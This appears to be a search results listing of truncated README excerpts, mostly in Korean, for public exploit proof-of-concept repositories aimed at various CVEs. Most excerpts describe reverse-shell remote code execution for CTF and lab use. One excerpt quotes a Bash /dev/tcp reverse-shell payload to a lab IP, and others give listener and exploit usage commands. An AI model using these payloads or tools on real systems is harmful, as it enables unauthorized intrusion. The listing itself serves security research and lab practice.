3493 matches found
php_reverse_shell
このリポジトリには README がありません。...
cve-2025-23266-migration-bypass
cve-2025-23266-migration-bypass cve-2025-23266-migration-bypass 플래그 내용을 얻는 두 가지 방법: 1. 호스트에서 컨테이너의 마운트된 디렉토리로 복사; 2. 리버스 셸을 사용하여 가져오기;...
php-8.1.0-dev-exploit
php-8.1-dev-Exploit ⚠️ 중요 먼저 읽어주세요 이 저장소에는 CTF/랩 전용으로 제작된 Java 개념 증명PoC이 포함되어 있습니다. 본인이 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에는 이 코드를 실행하지 마십시오. 무단 악용은 불법입니다. 격리된 환경VM, 컨테이너, 사설 CTF/HTB 박스에서만 사용하십시오. 사전 요구 사항 Java JDK8+ 설치 PATH에 javac 및 java 포함 공격 머신과 대상 시스템 간의 네트워크 연결 랩/CTF 네트워크 PoC를 시도하기 전에 별도의 터미널에서...
Log4Shell-CVE-2021-44228-ENV
Log4Shell 재현 환경 예제 설명 피해자 IP: 47.47.47.47 공격자 IP: 48.48.48.48 피해자: 취약 Docker 실행 DockerFile을 사용하여 Docker 이미지 빌드 및 실행: docker build . -t vuln docker run -p 8080:8080 --name vuln vuln 공격자: 공격 Docker 실행 DockerFile을 사용하여 Docker 이미지 빌드 및 실행 docker build . -t attack docker run -itd -p 9999:9999 -p...
CVE-2024-48990-POC
CVE-2024-48990-POC needrestart의 CVE-2024-48990 권한 상승 취약점을 위한 간단한 PoC. https://www.qualys.com/2024/11/19/needrestart/needrestart.txt 개요 이 도구는 HackTheBox 챌린지 'Conversor'를 진행하면서 설계되었습니다. 나중에 더 일반화하기 위해 약간의 수정이 이루어질 예정입니다. 제 사용 사례에 맞는 구현을 찾지 못해서 직접 만들기로 결정했습니다. 아마 나중에 더 추가할 예정입니다. 참고 : 나중에 새 리버스 셸을 만...
CVE-2026-33017-Exploit
Fireflow RCE 익스플로잇 Langflow의 buildpublictmp 엔드포인트를 통한 원격 코드 실행. 대상에 리버스 쉘을 실행하는 공개 플로우 빌드 엔드포인트를 통한 익스플로잇. 요구 사항 Python 3.8+ httpx 라이브러리 설치: pip install httpx 사용법 python exploit.py -u -l -p --flow-id --client-id 인자 -u, --url : Langflow 인스턴스의 기본 URL 예: https://flow.example.com/ -l, --lhost : 리버스 쉘...
xwiki-15.10.8-reverse-shell-cve-2025-24893
CVE-2025-24893 XWiki 리버스 셸 익스플로잇 면책 조항: 이 스크립트는 교육 목적 및 승인된 보안 테스트 전용 입니다. 소유하지 않거나 명시적 테스트 허가가 없는 시스템에서 사용하지 마십시오. 오용은 불법적이고 위험할 수 있습니다. 설명 이 Python 스크립트는 CVE-2025-24893 을 익스플로잇합니다. 이는 15.10.10 이하의 XWiki 버전에 영향을 미치는 원격 코드 실행RCE 취약점입니다. 테스트된 버전: XWiki 15.10.8 영향: 대상 서버에서 임의 명령 실행 가능 Python 버전:...
CVE-2023-34468
CVE-2023-34468 — Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC 一个简短的 Python PoC，用于滥用可编辑的 Apache NiFi ExecuteSQL 处理器，通过 H2 RUNSCRIPT 负载触发远程命令执行，并通过 Bash 反向 shell 建立连接。 仅用于授权测试和研究。请勿对你不拥有或未经明确许可测试的系统使用。 功能 ExecuteSQL processor update - H2 RUNSCRIPT fetch - Bash reverse shell - processor restore 1...
CVE-2026-27971_POC
CVE-2026-27971 — Qwik server$ 인증되지 않은 RCE PoC !WARNING 이 저장소에는 활성 원격 코드 실행RCE 개념 증명PoC이 포함되어 있습니다. 소유한 시스템 또는 명시적으로 테스트 승인을 받은 시스템에서만 사용하십시오. 작성자는 무단 사용 또는 피해에 대해 책임을 지지 않습니다. Qwik server$ RPC 역직렬화 메커니즘의 인증되지 않은 원격 코드 실행 취약점인 CVE-2026-27971 / GHSA-p9x5-jp3h-96mm 에 대한 독립형 Python 개념 증명PoC입니다. 이 PoC...
CVE-2024-4157-SSRF-RCE-Reverse-Shell
CVE-2024-4157: Havoc C2에서 리버스 셸 얻기 - SSRF와 RCE 연쇄 로컬 IP와 포트로 리버스 셸을 얻으며, CVE-2024-4157 POC와 havocauthrce를 연쇄합니다. 사용법 기본 정보 $ python3 exploit.py usage: exploit.py -h -t TARGET -i IP -p PORT -A USERAGENT -H HOSTNAME -u USERNAME -d DOMAINNAME -n PROCESSNAME -ip INTERNALIP -U ADMINUSERNAME -P PASSWOR...
BlueDoor
BlueDoor CTF 챌린지 개요 챌린지 이름 : BlueDoor CVE : CVE-2017-0144 EternalBlue 난이도 : 3/5 분류 : 익스플로잇, Windows 작성자 : Seth Davis BlueDoor는 Windows 7 시스템의 실제 취약점EternalBlue - CVE-2017-0144을 시뮬레이션합니다. 목표는 취약점을 악용하고, 권한을 상승시켜 숨겨진 플래그를 획득하는 것입니다. 요구 사항 가상 머신 소프트웨어 : VMware, VirtualBox 또는 이에 상응하는 소프트웨어 운영 체제 :...
CVE-2022-42889-text4shell
CVE-2022-42889-text4shell 설명 이 스크립트는 Apache Commons Text버전 -param $PARAMETER -L $LHOST -P $LPORT 예시 python3 exploit.py -t 10.10.10.10 -p 8080 -u /search/ -param query -L 10.10.14.5 -P 139 면책 조항 이 도구는 교육 목적과 공인된 침투 테스트만을 위해 제작되었습니다. 저자는 이 스크립트로 인한 오용이나 피해에 대해 책임을 지지 않습니다...
CVE-2024-4439
Exploit CVE-2024-4439 이 Python 스크립트는 취약점 CVE-2024-4439 에 대한 익스플로잇을 시연합니다. 이 스크립트를 사용하여 취약한 WordPress 사이트를 테스트할 수 있습니다. 사용법 시작 전에 git clone https://github.com/soltanali0/CVE-2024-4439.git cd CVE-2024-4439 pip install -r r.txt --break-system-packages 다음 명령어를 사용하여 스크립트를 실행하세요: python3 exploit.py -u...
CVE-2023-38646
CVE-2023-38646 원본 스크립트는 securezeron에서 가져왔습니다. 테스트 과정에서 이 PoC가 생성한 리버스 셸이 base64 인코딩 후 끝의 '=' 문자 때문에 활용에 실패하는 것을 발견했습니다. 이를 약간 수정하여 문제를 해결했습니다. 원래의 reverse shell 페이로드를 생성하는 코드 base64.b64encode"bash -i &/dev/tcp/10.10.14.59/8080 0&1".encode.decode...
CVE-2021-31630
CVE-2021-31630 Fellipe Oliveira가 HTB용으로 만든 PoC CVE-2021-31630 스크립트 수정 사용법 'Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444 -P program.st"'...
CVE-2019-15107
CVE-2019-15107 CVE-2019-15107용 POC 교육 목적으로만 사용하십시오. 사용 방법: 머신에서 리스너를 엽니다 nc -lnvp perl 명령을 사용자 IP와 포트에 맞게 수정하세요. 스크립트를 실행하면 리스너에 리버스 셸이 열립니다. 파이썬 스크립트는 타임아웃이 발생할 것이며, 이는 정상입니다...
POC-exploit-for-Dolibarr
Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost Listening host fo...
CVE-2021-22204
CVE-2021-22204 취약점 exiftool 임의 명령 실행 사용법 1. exploit.py 파일에서 리버스 쉘 받을 ip, port 설정 후 docker compose up 실행 2. docker shell에 접근 후 /root 경로에서 python3 exploit.py 파일을 실행할 경우 image.jpg 파일 공격 코드 생성 3. 해당 image.jpg 파일을 다운로드하여 사용 참고...
cve-2023-4220-poc
CVE-2023-4220 Chamilio エクスプロイト PoC 恥知らずにもコピーしたもの 直接インスパイアされた元: https://starlabs.sg/advisories/23/23-4220/ 使用方法: Chamilio CVE-2023-4220 POC Exploit positional arguments: url The Chamilio Url. e.g. http://example.com options: -h, --help show this help message and exit -c C The command to execute...